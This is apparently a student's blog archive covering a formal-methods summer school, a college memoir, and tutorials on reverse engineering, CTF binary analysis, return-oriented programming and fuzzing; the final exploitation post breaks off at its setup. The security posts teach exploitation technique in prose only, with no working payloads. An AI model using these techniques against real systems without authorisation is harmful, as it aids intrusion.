Next lab for the day: part 2 of the F*/Low* Lab, conducted by Jonathan Protzenko. Here, we were proving correctness and some properties of some short examples about working with machine integers, references, and buffers. The code which we were working on, is heavily commented, and is extremely easy to follow along after the F* tutorial. I personally would recommend doing it, to quickly get a handle on the basics of Low*. These examples however, should soon become a part of the (currently work in progress) Low* Tutorial.

Next up, the Banquet. Everyone had an awesome time at this. And here's a picture of almost everyone who was there (looks like some people are missing from the photo, probably because the photo was taken very close to end of day):

At the Banquet

Finally, we arrive to the last day of the summer school (did a whole week go by so fast?!). We start off the day with 2 lab sessions (yep, labs instead of talks at the start of the day).

The first was part 2 of the CPAChecker lab, by Dirk Beyer. Here, we continued with the tutorial, but this time instead, we concentrated on the parts about combining verifiers, and about witness generation/checking. Personally, I found the reducer generating (arguably) readable code, which was interesting (and unexpected). Overall though, this lab helped cement the ideas that were discussed in the second talk by Dirk.

The second was part 2 of the Agda lab, by Andreas Abel. This time, we looked over more definitions and proofs in Agda (see Exercises2.agda). In the course of this, we also ended up learning about various proof styles that are possible in Agda, especially when talking about auxiliary "helper" lemmas. Proving decidability of various things was a nice exercise and is something I'd definitely recommend trying.

As a fitting end to the summer school, was a talk by Edward A. Lee titled "What Good are Formal Methods?". Based loosely around his book, titled "Plato and the Nerd", he walked us through the nuances of how combining different deterministic systems can lead to non-determinism, and how moving between the viewpoints of a scientist and an engineer is essential in looking at the right way at models. Everything we say about, and prove about systems, is always actually about a model of the system, and depending on the viewpoint, either the model is flawed (scientist), or the system/realization is flawed (engineer). He then goes on to talk about non-falsifiable theories, with the "Digital Physics" hypothesis taken as a prime example. another interesting direction was about the Incompleteness of Determinism, which he shows via the concept of "Superdense Time". This talk was definitely an amazing journey through a lot of different ideas and concepts from a variety of different fields, that we do not even think about on a regular basis. I am definitely going to read the book, because if it is anything like the talk, it should definitely be a joy to read!

And finally, we come to the end of this brilliant, beautiful and amazing week. I got a chance to meet such awesome people, discuss mind-shattering ideas, talk about random topics in great depth, and make some great new friends and acquaintances. I hope to stay in touch with as many of you as I can, and hope to meet again sometime really soon!

Misc RE Tips

2017-08-12T00:00:00+00:00

Influenced by Gynvael's CONFidence CTF 2017 Livestreams here and here; and by his Google CTF Quals 2017 Livestream here

Reverse engineering is a mix of an art as well as a science. Over time, one tends to gather a repertoire of common "tips and tricks" that one might use when reversing any given piece of software. What follows are a condensed form of some tricks gained from Gynvael's livestreams.

Sometimes, a challenge might implement a complicated task by implementing a VM. It is not always necessary to completely reverse engineer the VM and work on solving the challenge. Sometimes, you can RE a little bit, and once you know what is going on, you can hook into the VM, and get access to stuff that you need. Additionally, timing based side-channel attacks become easier in VMs (mainly due to more number of "real" instructions executed).
Cryptographically interesting functions in binaries can be recognized and quickly RE'd simply by looking for the constants and searching for them online. For standard crypto functions, these constants are sufficient to quickly guess at a function. Simpler crypto functions can be recognized even more easily. If you see a lot of XORs and stuff like that happening, and no easily identifiable constants, it is probably hand-rolled crypto (and also possibly broken).
Sometimes, when using IDA with HexRays, the disassembly view might be better than the decompilation view. This is especially true if you notice that there seems to be a lot of complication going on in the decompilation view, but you notice repetitive patterns in the disassembly view. (You can quickly switch b/w the two using the space bar). For example, if there is a (fixed size) big-integer library implemented, then the decompilation view is terrible, but the disassembly view is easy to understand stuff (and easily recognizable due to the repetitive "with-carry" instructions such as adc). Additionally, when analyzing like this, using the "Group Nodes" feature in IDA's graph view is extremely useful to quickly reduce the complexity of your graph, as you understand what each node does.
For weird architectures, having a good emulator is extremely useful. Especially, an emulator that can give you a dump of the memory can be used to quickly figure out what is going on, and recognize interesting portions, once you have the memory out of the emulator. Additionally, using an emulator implemented in a comfortable language (such as Python), means that you could run things exactly how you like. For example, if there is some interesting part of the code you might wish to run multiple times (for example, to brute force or something), then using the emulator, you can quickly code up something that does only that part of the code, rather than having to run the complete program.
Being lazy is good, when REing. Do NOT waste time reverse engineering everything, but spend enough time doing recon (even in an RE challenge!), so as to be able to reduce the time spent on actually doing the more difficult task of REing. What recon, in such a situation means, is to just take quick looks at different functions, without spending too much time on analyzing each function thoroughly. You just quickly gauge what the function might be about (for example "looks like a crypto thing", or "looks like a memory management thing", etc.)
For unknown hardware or architecture, spend enough time looking it up on Google, you might get lucky with a bunch of useful tools or documents that might help you build tools quicker. Often times, you'll find toy emulator etc implementations that might be useful as a quick point to start off from. Alternatively, you might get some interesting info (such as how bitmaps are stored, or how strings are stored, or something) with which you can write a quick "fix" script, and then use normal tools to see if interesting stuff is there.
Gimp (the image manipulation tool), has a very cool open/load functionality to see raw pixel data. You can use this to quickly look for assets or repetitive structures in raw binary data. Do spend time messing around with the settings to see if more info can be gleaned from it.

A Story to Tell : My Experience at IIT Roorkee

2017-07-04T00:00:00+00:00

[This was originally published on Expectations IITR, run by Geek Gazette, just after completing my B.Tech. at IIT Roorkee]

My desk is definitely not this organized

Truly, time flies extremely fast when you are enjoying yourself. These 4 years have been amongst the most memorable ones in my life till date, and have helped me grow as an individual in countless ways. First year was the first time I was staying away from home, for an extended period of time. To make things more challenging, I was at the same school for the previous 12 years! To come to a new place, and not a single familiar face to be found on campus, I definitely was anxious before arriving on campus. But my fears were unfounded, and I quickly found out, that in a campus with thousands of people, there are bound to be those who think alike, and we tend to find each other as time passes.

Amongst my neighbours and branch-mates, I found friends whom I could go for trips and treks with. And since I had a massive collection of movies and TV shows that I'd brought from home on my laptop, frequent marathons were bound to happen. At the time, RJB didn't have a good internet connection (NoLAN, as we liked to call it), and so we ended up purchasing an Ethernet switch, and long LAN cables, so that we could all play Counter Strike. Even then, it was often more fun to just move chairs into a single room, and continuously curse while shooting in either de_dust2 or $1000$ .

Soon enough after joining IITR, different campus groups started their recruitment sessions. After asking around, doing some reading, and understanding what the different groups do, I decided to apply to only two -- Geek Gazette and SDS PAG. GG was a place for the geeks of the campus to unite, and try to change the world, one bit at a time. As I had tried writing short stories in the past, I applied as an editor to the magazine. It was during the interviews that I realised, that I had found my kind -- people who are extremely (almost obsessively) passionate about gaining knowledge about the things they love, and like to share those things with the world. Over time though, for me, it grew into a family where I could implicitly trust everyone in it. Other than GG, I applied and got selected into SDS PAG, which seemed like an obvious choice for me, since I had already been doing competitive programming since class 11 (Informatics Olympiads etc). Here was a place I found people like me, who lived on the "adrenaline rush" of solving puzzles and challenges through the use of logic, algorithms, and code.

Academics, of course, went on, alongside all these amazing things, but overall, I didn't find it too much of a burden. As long as I stayed awake in class, I was able to manage great grades without needing to spend too much extra effort outside of class. And the great thing was, we only had ~25 contact hours a week, which meant that I could do a lot more than just merely academics. Hence, apart from all that I was doing, I decided to take a shot at open-source development. One of my seniors had said "doing a Google Summer of Code in first year is impossible", and I just couldn't accept this as true. After a few months of intense work, I got selected into, and that is how I spent most of my summer after 1st year (and the first couple of months of 2nd year) -- working on the open-source network security scanner, Nmap. It was an amazing experience, and I got to work with some of the most amazing developers and security enthusiasts. Even though it was not required, it was so much fun that I was spending over 70 hours a week!

In a few months though, once the GSoC period was complete, I realised how tiring pure development could be. Additionally, 2nd year had begun, and with it, came a whole bunch of new hobbies. This is when I first heard of CTFs -- a Capture The Flag contests, where many challenges are given to hack into, legally. This seemed like awesome fun, and with a few friends, I decided to try it out. Little did I know, at the time, how important this would turn out to be. Soon enough, we were starting to get relatively decent at this "new" field, and we started taking part in national level competitions -- our first, being Deloitte CCTC, where we went and won! The thrill of breaking into software was something my teammates and I got addicted to, and over time, it decided the fate of our careers. However, at the time, it was merely a hobby.

As a serious career prospect, I was considering research in Computer Science, but was unsure of the sub-field. One of the professor's course was really fun, and I decided to ask him for some research project work. Prof Bala suggested that I work with him, and Prof Partha (who had newly joined the department), on a topic in Image Processing and Computer Vision -- Scene Text Segmentation. This led me on a long journey of actually learning what research entails -- lots and lots of failed attempts, and that one final satisfying"Aha!" moment. It was great, and for the 2nd year summer, I decided to apply for foreign university internships in the field. Maybe it was bad timing, or maybe I needed to learn more, or maybe... -- whatever the reason -- I was met with mainly unanswered emails, and the occasional rejection. I took these rejections, at the time, as a way to have some extra focus on the project at hand. Over the course of the summer, with more improvements, I was able to obtain publishable results, and decided to write a research paper about it. It was accepted at the Asian Conference on Pattern Recognition, and I ended up travelling to Malaysia in the 3rd year to present it. That trip was amazing, and I still tend to use one of the photos clicked there as a profile picture on some websites.

As part of enjoying life though, I think my friends and I had matured by then, and had started going for longer treks, and started playing "serious" games such as AoE2. Of course, a trebuchet is the weapon of choice to lay a siege with, since it utilises a counterweight to launch a 90kg projectile over 300m! Obviously, it is superior to the measly catapult, but I digress.

By the time 3rd year rolled around, I was made the president of GG, and with that, came a whole slew of new experiences and responsibilities. I was able to lead an amazing team, with great friends by my side. Frankly, it was something I thoroughly enjoyed. It did take up basically all the time I had available, but I still managed to get a lot of other things done too. One of these, was to start up a new group on campus for security enthusiasts like me. This was the birth of SDS InfoSecIITR -- a group conducive to hackers, with the purpose of pushing IITR's security culture to new heights, mainly through conducting and taking part in CTFs.

While InfoSecIITR was still in its infancy, we were still trying to figure out what might be the best way forward. However, with the experience of leading GG, I had realised that we need to strike the right balance between planning and action, in order to get optimal results. Too much planning and it is a waste of time, and it is the same for unplanned action. With this in mind, we began to come up with a rudimentary plan of action with only a small number of members (though it was an open group and anyone could join). Over time though, as 4th year rolled by, it would grow by leaps and bounds (with over 100 first yearites showing up for some meetings), and we would have come up with a much more concrete plan of what to do next.

As we started taking part in more and more CTFs over the year, I realised that there were some teams, at an international level, that did consistently well. One of these is PPP -- a team from the Carnegie Mellon University, that has consistently won almost all the most difficult CTFs that happen each year. Looking into their structure (mainly to figure out how to help InfoSecIITR progress more), I found that it has a faculty advisor who does research in the same field -- software security. Wait, seriously?! You could take this hobby up as a full career? Even though I was reading papers in security before, I had suddenly found out that academia considered this a complete field! After a lot of reading of papers, thinking, and testing some ideas, I decided to apply for a summer research internship under Prof David Brumley -- the aforementioned faculty advisor.

After a bunch of emails back and forth, he was happy to invite me over to CMU for a fully funded summer internship. This intern was arguably the best time I've ever had while working, probably because it didn't feel like work at all. I was helping develop systems to augment humans in finding vulnerabilities in common software. Additionally, this is where I fell in love with using Emacs (it is better than Vim, but I digress again), started loving OCaml, and figured out that this field is probably what I want to continue in for the foreseeable future.

Once back in Roorkee, 4th year began, and with it, came the whole "tension" of applying for further studies. While batch-mates prepared for job interviews, I had decided that I wanted to go for a PhD. Taking up the standardised examinations, asking for letters of recommendation, writing a statement of purpose, updating my resume, filling out forms -- it does turn out to be a very time-consuming task. However, it indeed is a very rewarding task if done right, in two major ways -- it helps you really think about all you have done and what you want to do further in life, and it provides a sense of confidence in knowing that you can really achieve all that you wish to (since you've achieved a lot of what you originally set out to do, and even when goals changed, you've adapted and done well).

Managing time between all these, as well as the Bachelor Thesis Project (BTP), a whole semester flew by almost instantly; all the applications to the 5 institutes I had applied to were also sent. What now?! Then began the long and dreadful wait (at least, as described by others). The last semester of college was one where compared to the previous 7 semesters, I had very little to really do. Academics had gotten very chill, BTP was going fine, campus groups were being handled easy enough, I'd gone on multiple trips/treks, I was taking part in multiple contests, and yet I had time to spare. So I decided that I would spend my free time divided amongst 2 main things -- spending much more time with those I am close to, and helping juniors out on a larger scale.

Over the previous few years, I had formed extremely strong bonds with a lot of people on campus -- people I loved spending time with, whether they were juniors, seniors or batch-mates. However, each of us were busy with our own things until then. Now, with the little bit of extra free time on our hands, we could spend more quality time. Each moment spent definitely becomes more precious, as the time to go apart draws closer.

Apart from this, while I had already been helping juniors out in various ways, mainly through mentoring or just being there for advice when needed, I decided that I should start working on making a larger impact on the general crowd, and help move IITR's culture more towards research. Over the years, I had tried pushing for this culture in as many ways that I could, but now it was time to reach out to as many as possible, before I bid adieu. So, along with others who had done research interns, and others who were doing research, I gave a few talks, and reached out to everyone who was interested (even casually) in considering research as a career possibility. Turns out, there are many who want to try things, but just don't know whom to approach. I realised that it became a moral duty for those of us who had been through the pains of starting off, without having any guidance, to actually guide those who wanted to pursue their dreams; and this was amongst the most fulfilling things I have ever done.

While all this was going on, the decision letters started to arrive from the different institutes, and I had gotten selected into 3 really amazing places -- MIT, UCSB, and CMU. And suddenly, I had a problem -- how can you really decide between 3 of the best places for the kind of research I wanted to do? Of course, getting selected into any of these is a matter of joy and pride, but getting into all 3 is a bit of a problem. Of course, it is a good kind of problem to have though. After much deliberation, I decided that I would go with CMU. And with that, began the farewells, of the different campus groups, as well as the department.

It doesn't hit that hard until you reach the point of the farewells, how much you have come to love the time spent over the 4 years. It is at this time that many tend to get emotional since, for some of us, it might be a very very long time until we meet again. Thankfully though, the tradition of dressing up as different characters (such as Jack Sparrow, or Davy Jones), does provide a bit of necessary relief from the otherwise extremely emotionally charged farewell.

However, even after all of this, Roorkee doesn't let you go. The final semester exams, and the final BTP evaluation happen after the farewells, and even after that comes up the extremely amazing tradition of the "no-dues". Most people really understand these pains only when they need to rush through campus, in the hot sweltering sun, just to get a few signatures on pieces of paper that are probably gonna be thrown away in almost no time. Yet there is a kind of fun in everyone cursing the same people and the tradition each year, standing in those long queues, waiting for those coloured slips of paper.

Soon enough though, even that is done, and it comes time to finally say goodbye, and it really breaks my heart to say goodbye. It was an amazing 4 years, and I am going to cherish these memories forever. A lot of the connections and friendships that I have made, cannot even be put into words, but I feel that those are what I am going to remember more than anything else. I believe it is the people, and not the place, that really grows on you.

If I have any advice for 1st yearites, it would be this: across the 4 years, not everything you do has visible benefit, and not everything will get to the resume. Not every part of it needs to be for a predestined goal. Nor does it need to be just smooth-going successes. Do not limit yourself to only academics, but neither let it suffer. You will stumble, and you will struggle, but that is part of the process. You just got to keep your head cool and keep moving forward, trying new things, finding new interests, building strong friendships, and enjoying your time at college. Because as long as you don't waste them, these 4 years are definitely going to become a story to tell.

Analysis for RE and Pwning tasks in CTFs

2017-07-02T00:00:00+00:00

Influenced by a discussion with @p4n74 and @h3rcul35 on the InfoSecIITR #bin chat. We were discussing on how sometimes beginners struggle to start with a larger challenge binary, especially when it is stripped.

To either solve an RE challenge, or to be able to pwn it, one must first analyze the given binary, in order to be able to effectively exploit it. Since the binary might possibly be stripped etc (found using file) one must know where to begin analysis, to get a foothold to build up from.

There's a few styles of analysis, when looking for vulnerabilities in binaries (and from what I have gathered, different CTF teams have different preferences):

Static Analysis

1.1. Transpiling complete code to C

This kind of analysis is sort of rare, but is quite useful for smaller binaries. The idea is to go in an reverse engineer the entirety of the code. Each and every function is opened in IDA (using the decompiler view), and renaming (shortcut: n) and retyping (shortcut: y) are used to quickly make the decompiled code much more readable. Then, all the code is copied/exported into a separate .c file, which can be compiled to get an equivalent (but not same) binary to the original. Then, source code level analysis can be done, to find vulns etc. Once the point of vulnerability is found, then the exploit is built on the original binary, by following along in the nicely decompiled source in IDA, side by side with the disassembly view (use Tab to quickly switch between the two; and use Space to switch quickly between Graph and Text view for disassembly).

1.2. Minimal analysis of decompilation

This is done quite often, since most of the binary is relatively useless (from the attacker's perspective). You only need to analyze the functions that are suspicious or might lead you to the vuln. To do this, there are some approaches to start off:

1.2.1. Start from main

Now usually, for a stripped binary, even main is not labelled (IDA 6.9 onwards does mark it for you though), but over time, you learn to recognize how to reach the main from the entry point (where IDA opens at by default). You jump to that and start analyzing from there.

1.2.2. Find relevant strings

Sometimes, you know some specific strings that might be outputted etc, that you know might be useful (for example "Congratulations, your flag is %s" for an RE challenge). You can jump to Strings View (shortcut: Shift+F12), find the string, and work backwards using XRefs (shortcut: x). The XRefs let you find the path of functions to that string, by using XRefs on all functions in that chain, until you reach main (or some point that you know).

1.2.3. From some random function

Sometimes, not specific string might be useful, and you don't want to start from main. So instead, you quickly flip through the whole functions list, looking for functions that look suspicious (such as having lots of constants, or lots of xors, etc) or call important functions (XRefs of malloc, free, etc), and you start off from there, and go both forwards (following functions it calls) and backwards (XRefs of the function)

1.3. Pure disassembly analysis

Sometimes, you cannot use the decompilation view (because of weird architecture, or anti-decompilation techniques, or hand written assembly, or decompilation looking too unnecessarily complex). In that case, it is perfectly valid to look purely at the disassembly view. It is extremely useful (for new architectures) to turn on Auto Comments, which shows a comment explaining each instruction. Additionally, the node colorization and group nodes functionalities are immensely helpful. Even if you don't use any of these, regularly marking comments in the disassembly helps a lot. If I am personally doing this, I prefer writing down Python-like comments, so that I can quickly then transpile in manually into Python (especially useful for RE challenges, where you might have to use Z3 etc).

1.4. Using platforms like BAP, etc.

This kind of analysis is (semi-)automated, and is usually more useful for much larger software, and is rarely directly used in CTFs.

Fuzzing

Fuzzing can be an effective technique to quickly get to the vuln, without having to actually understand it initially. By using a fuzzer, one can get a lot of low-hanging-fruit style of vulns, which then need to be analyzed and triaged to get to the actual vuln. See my notes on basics of fuzzing and genetic fuzzing for more info.

Dynamic Analysis

Dynamic Analysis can be used after finding a vuln using static analysis, to help build exploits quickly. Alternatively, it can be used to find the vuln itself. Usually, one starts up the executable inside a debugger, and tries to go along code paths that trigger the bug. By placing breakpoints at the right locations, and analyzing the state of the registers/heap/stack/etc, one can get a good idea of what is going on. One can also use debuggers to quickly identify interesting functions. This can be done, for example, by setting temporary breakpoints on all functions initially; then proceeding to do 2 walks - one through all uninteresting code paths; and one through only a single interesting path. The first walk trips all the uninteresting functions and disables those breakpoints, thereby leaving the interesting ones showing up as breakpoints during the second walk.

My personal style for analysis, is to start with static analysis, usually from main (or for non-console based applications, from strings), and work towards quickly finding a function that looks odd. I then spend time and branch out forwards and backwards from here, regularly writing down comments, and continuously renaming and retyping variables to improve the decompilation. Like others, I do use names like Apple,Banana,Carrot,etc for seemingly useful, but as of yet unknown functions/variables/etc, to make it easier to analyze (keeping track of func_123456 style of names is too difficult for me). I also regularly use the Structures view in IDA to define structures (and enums) to make the decompilation even nicer. Once I find the vuln, I usually move to writing a script with pwntools (and use that to call a gdb.attach()). This way, I can get a lot of control over what is going on. Inside gdb, I usually use plain gdb, though I have added a command peda that loads peda instantly if needed.

My style is definitely evolving though, as I have gotten more comfortable with my tools, and also with custom tools I have written to speed things up. I would be happy to hear of other analysis styles, as well as possible changes to my style that might help me get faster. For any comments/criticisms/praise you have, as always, I can be reached via Twitter @jay_f0xtr0t.

Return Oriented Programming

2017-06-04T00:00:00+00:00

Influenced by this awesome live stream by Gynvael Coldwind, where he discusses the basics of ROP, and gives a few tips and tricks

Return Oriented Programming (ROP) is one of the classic exploitation techniques, that is used to bypass the NX (non executable memory) protection. Microsoft has incorporated NX as DEP (data execution prevention). Even Linux etc, have it effective, which means that with this protection, you could no longer place shellcode onto heap/stack and have it execute just by jumping to it. So now, to be able to execute code, you jump into pre-existing code (main binary, or its libraries -- libc, ldd etc on Linux; kernel32, ntdll etc on Windows). ROP comes into existence by re-using fragments of this code that is already there, and figuring out a way to combine those fragments into doing what you want to do (which is of course, HACK THE PLANET!!!).

Originally, ROP started with ret2libc, and then became more advanced over time by using many more small pieces of code. Some might say that ROP is now "dead", due to additional protections to mitigate it, but it still can be exploited in a lot of scenarios (and definitely necessary for many CTFs).

The most important part of ROP, is the gadgets. Gadgets are "usable pieces of code for ROP". That usually means pieces of code that end with a ret (but other kinds of gadgets might also be useful; such as those ending with pop eax; jmp eax etc). We chain these gadgets together to form the exploit, which is known as the ROP chain.

One of the most important assumptions of ROP is that you have control over the stack (i.e., the stack pointer points to a buffer that you control). If this is not true, then you will need to apply other tricks (such as stack pivoting) to gain this control before building a ROP chain.

How do you extract gadgets? Use downloadable tools (such as ropgadget) or online tool (such as ropshell) or write your own tools (might be more useful for more difficult challenges sometimes, since you can tweak it to the specific challenge if need be). Basically, we just need the addresses that we can jump to for these gadgets. This is where there might be a problem with ASLR etc (in which case, you get a leak of the address, before moving on to actually doing ROP).

So now, how do we use these gadgets to make a ropchain? We first look for "basic gadgets". These are gadgets that can do simple tasks for us (such as pop ecx; ret, which can be used to load a value into ecx by placing the gadget, followed by the value to be loaded, followed by rest of chain, which is returned to after the value is loaded). The most useful basic gadgets, are usually "set a register", "store register value at address pointed to by register", etc.

We can build up from these primitive functions to gain higher level functionality (similar to my post titled exploitation abstraction). For example, using the set-register, and store-value-at-address gadgets, we can come up with a "poke" function, that lets us set any specific address with a specific value. Using this, we can build a "poke-string" function that lets us store any particular string at any particular location in memory. Now that we have poke-string, we are basically almost done, since we can create any structures that we want in memory, and can also call any functions we want with the parameters we want (since we can set-register, and can place values on stack).

One of the most important reasons to build from these lower order primitives to larger functions that do more complex things, is to reduce the chances of making mistakes (which is common in ROP otherwise).

There are more complex ideas, techniques, and tips for ROP, but that is possibly a topic for a separate note, for a different time :)

PS: Gyn has a blogpost on Return-Oriented Exploitation that might be worth a read.

Genetic Fuzzing

2017-05-27T00:00:00+00:00

Written on May 27 2017; extended on May 29 2017. Influenced by this amazing live stream by Gynvael Coldwind, where he talks about the basic theory behind genetic fuzzing, and starts to build a basic genetic fuzzer. He then proceeds to complete the implementation in this live stream.

Here, we take a look at "advanced" fuzzing (in comparison to a blind fuzzer, as described in my "Basics of Fuzzing" note). While it also modifies/mutates bytes etc, but it does so in a slightly smarter way than the blind "dumb" fuzzer.

Why do we need a genetic fuzzer?

Some programs might be "nasty" towards dumb fuzzers, since it is possible that a vulnerability might require a whole bunch of conditions to be satisfied to be reached. In a dumb fuzzer, we have very low probability of this happening since it doesn't have any idea if it is making any progress or not. As a specific example, if we have the code if a: if b: if c: if d: crash! (let's call it the CRASHER code), then in this case we need 4 conditions to be satisfied to crash the program. However, a dumb fuzzer might be unable to get past the a condition, just because there is very low chance that all 4 mutations a, b, c, d, happen at same time. In fact, even if it progresses by doing just a, the next mutation might go back to !a just because it doesn't know anything about the program.

Wait, when does this kind of "bad case" program show up?

It is quite common in file format parsers, to take one example. To reach some specific code paths, one might need to go past multiple checks "this value must be this, and that value must be that, and some other value must be something of something else" and so on. Additionally, almost no real world software is "uncomplicated", and most software has many many many possible code paths, some of which can be accessed only after many things in the state get set up correctly. Thereby, many of these programs' code paths are basically inaccessible to dumb fuzzers. Additionally, sometimes, some paths might be completely inaccessible (rather than just crazily improbable) due to not enough mutations done whatsoever. If any of these paths have bugs, a dumb fuzzer would never be able to find them.

So how do we do better than dumb fuzzers?

Consider the Control Flow Graph (CFG) of the above mentioned CRASHER code. If by chance a dumb fuzzer suddenly got a correct, then too it would not recognize that it reached a new node, but it would continue ignoring this, discarding the sample. On the other hand, what AFL (and other genetic or "smart" fuzzers) do, is they recognize this as a new piece of information ("a newly reached path") and store this sample as a new initial point into the corpus. What this means is that now the fuzzer can start from the a block and move further. Of course, sometimes, it might go back to the !a from the a sample, but most of the time, it will not, and instead might be able to reach b block. This again is a new node reached, so adds a new sample into the corpus. This continues, allowing more and more possible paths to be checked, and finally reaches the crash!.

Why does this work?

By adding mutated samples into the corpus, that explore the graph more (i.e. reach parts not explored before), we can reach previously unreachable areas, and can thus fuzz such areas. Since we can fuzz such areas, we might be able to uncover bugs in those regions.

Why is it called genetic fuzzing?

This kind of "smart" fuzzing is kind of like genetic algorithms. Mutation and crossover of specimens causes new specimens. We keep specimens which are better suited to the conditions which are tested. In this case, the condition is "how many nodes in the graph did it reach?". The ones that traverse more can be kept. This is not exactly like genetic algos, but is a variation (since we keep all specimens that traverse unexplored territory, and we don't do crossover) but is sufficiently similar to get the same name. Basically, choice from pre-existing population, followed by mutation, followed by fitness testing (whether it saw new areas), and repeat.

Wait, so we just keep track of unreached nodes?

Nope, not really. AFL keeps track of edge traversals in the graph, rather than nodes. Additionally, it doesn't just say "edge travelled or not", it keeps track of how many times an edge was traversed. If an edge is traversed 0, 1, 2, 4, 8, 16, ... times, it is considered as a "new path" and leads to addition into the corpus. This is done because looking at edges rather than nodes is a better way to distinguish between application states, and using an exponentially increasing count of the edge traversals gives more info (an edge traversed once is quite different from traversed twice, but traversed 10 is not too different from 11 times).

So, what and all do you need in a genetic fuzzer?

We need 2 things, the first part is called the tracer (or tracing instrumentation). It basically tells you which instructions were executed in the application. AFL does this in a simple way by jumping in between the compilation stages. After the generation of the assembly, but before assembling the program, it looks for basic blocks (by looking for endings, by checking for jump/branch type of instructions), and adds code to each block that marks the block/edge as executed (probably into some shadow memory or something). If we don't have source code, we can use other techniques for tracing (such as pin, debugger, etc). Turns out, even ASAN can give coverage information (see docs for this).

For the second part, we then use the coverage information given by the tracer to keep track of new paths as they appear, and add those generated samples into the corpus for random selection in the future.

There are multiple mechanisms to make the tracer. They can be software based, or hardware based. For hardware based, there are, for example, some Intel CPU features exist where given a buffer in memory, it records information of all basic blocks traversed into that buffer. It is a kernel feature, so the kernel has to support it and provide it as an API (which Linux does). For software based, we can do it by adding in code, or using a debugger (using temporary breakpoints, or through single stepping), or use address sanitizer's tracing abilities, or use hooks, or emulators, or a whole bunch of other ways.

Another way to differentiate the mechanisms is by either black-box tracing (where you can only use the unmodified binary), or software white-box tracing (where you have access to the source code, and modify the code itself to add in tracing code).

AFL uses software instrumentation during compilation as the method for tracing (or through QEMU emulation). Honggfuzz supports both software and hardware based tracing methods. Other smart fuzzers might be different. The one that Gyn builds uses the tracing/coverage provided by address sanitizer (ASAN).

Some fuzzers use "speedhacks" (i.e. increase fuzzing speed) such as by making a forkserver or other such ideas. Might be worth looking into these at some point :)

Basics of Fuzzing

2017-04-20T00:00:00+00:00

Influenced by this awesome live stream by Gynvael Coldwind, where he talks about what fuzzing is about, and also builds a basic fuzzer from scratch!

What is a fuzzer, in the first place? And why do we use it?

Consider that we have a library/program that takes input data. The input may be structured in some way (say a PDF, or PNG, or XML, etc; but it doesn't need to be any "standard" format). From a security perspective, it is interesting if there is a security boundary between the input and the process / library / program, and we can pass some "special input" which causes unintended behaviour beyond that boundary. A fuzzer is one such way to do this. It does this by "mutating" things in the input (thereby possibly corrupting it), in order to lead to either a normal execution (including safely handled errors) or a crash. This can happen due to edge case logic not being handled well.

Crashing is the easiest way for error conditions. There might be others as well. For example, using ASAN (address sanitizer) etc might lead to detecting more things as well, which might be security issues. For example, a single byte overflow of a buffer might not cause a crash on its own, but by using ASAN, we might be able to catch even this with a fuzzer.

Another possible use for a fuzzer is that inputs generated by fuzzing one program can also possibly be used in another library/program and see if there are differences. For example, some high-precision math library errors were noticed like this. This doesn't usually lead to security issues though, so we won't concentrate on this much.

How does a fuzzer work?

A fuzzer is basically a mutate-execute-repeat loop that explores the state space of the application to try to "randomly" find states of a crash / security vuln. It does not find an exploit, just a vuln. The main part of the fuzzer is the mutator itself. More on this later.

Outputs from a fuzzer?

In the fuzzer, a debugger is (sometimes) attached to the application to get some kind of a report from the crash, to be able to analyze it later as security vuln vs a benign (but possibly important) crash.

How to determine what areas of programs are best to fuzz first?

When fuzzing, we want to usually concentrate on a single piece or small set of piece of the program. This is usually done mainly to reduce the amount of execution to be done. Usually, we concentrate on the parsing and processing only. Again, the security boundary matters a lot in deciding which parts matter to us.

Types of fuzzers?

Input samples given to the fuzzer are called the corpus. In oldschool fuzzers (aka "blind"/"dumb" fuzzzers) there was a necessity for a large corpus. Newer ones (aka "genetic" fuzzers, for example AFL) do not necessarily need such a large corpus, since they explore the state on their own.

How are fuzzers useful?

Fuzzers are mainly useful for "low hanging fruit". It won't find complicated logic bugs, but it can find easy to find bugs (which are actually sometimes easy to miss out during manual analysis). While I might say input throughout this note, and usually refer to an input file, it need not be just that. Fuzzers can handle inputs that might be stdin or input file or network socket or many others. Without too much loss of generality though, we can think of it as just a file for now.

How to write a (basic) fuzzer?

Again, it just needs to be a mutate-run-repeat loop. We need to be able to call the target often (subprocess.Popen). We also need to be able to pass input into the program (eg: files) and detect crashes (SIGSEGV etc cause exceptions which can be caught). Now, we just have to write a mutator for the input file, and keep calling the target on the mutated files.

Mutators? What?!?

There can be multiple possible mutators. Easy (i.e. simple to implement) ones might be to mutate bits, mutate bytes, or mutate to "magic" values. To increase chance of crash, instead of changing only 1 bit or something, we can change multiple (maybe some parameterized percentage of them?). We can also (instead of random mutations), change bytes/words/dwords/etc to some "magic" values. The magic values might be 0, 0xff, 0xffff, 0xffffffff, 0x80000000 (32-bit INT_MIN), 0x7fffffff (32-bit INT_MAX) etc. Basically, pick ones that are common to causing security issues (because they might trigger some edge cases). We can write smarter mutators if we know more info about the program (for example, for string based integers, we might write something that changes an integer string to "65536" or -1 etc). Chunk based mutators might move pieces around (basically, reorganizing input). Additive/appending mutators also work (for example causing larger input into buffer). Truncators also might work (for example, sometimes EOF might not be handled well). Basically, try a whole bunch of creative ways of mangling things. The more experience with respect to the program (and exploitation in general), the more useful mutators might be possible.

But what is this "genetic" fuzzing?

That is probably a discussion for a later time. However, a couple of links to some modern (open source) fuzzers are AFL and honggfuzz.

Exploitation Abstraction

2017-04-07T00:00:00+00:00

Influenced from a nice challenge in PicoCTF 2017 (name of challenge withheld, since the contest is still under way)

WARNING: This note might seem simple/obvious to some readers, but it necessitates saying, since the layering wasn't crystal clear to me until very recently.

Of course, when programming, all of us use abstractions, whether they be classes and objects, or functions, or meta-functions, or polymorphism, or monads, or functors, or all that jazz. However, can we really have such a thing during exploitation? Obviously, we can exploit mistakes that are made in implementing the aforementioned abstractions, but here, I am talking about something different.

Across multiple CTFs, whenever I've written an exploit previously, it has been an ad-hoc exploit script that drops a shell. I use the amazing pwntools as a framework (for connecting to the service, and converting things, and DynELF, etc), but that's about it. Each exploit tended to be an ad-hoc way to work towards the goal of arbitrary code execution. However, this current challenge, as well as thinking about my previous note on "Advanced" Format String Exploitation, made me realize that I could layer my exploits in a consistent way, and move through different abstraction layers to finally reach the requisite goal.

As an example, let us consider the vulnerability to be a logic error, which lets us do a read/write of 4 bytes, somewhere in a small range after a buffer. We want to abuse this all the way to gaining code execution, and finally the flag.

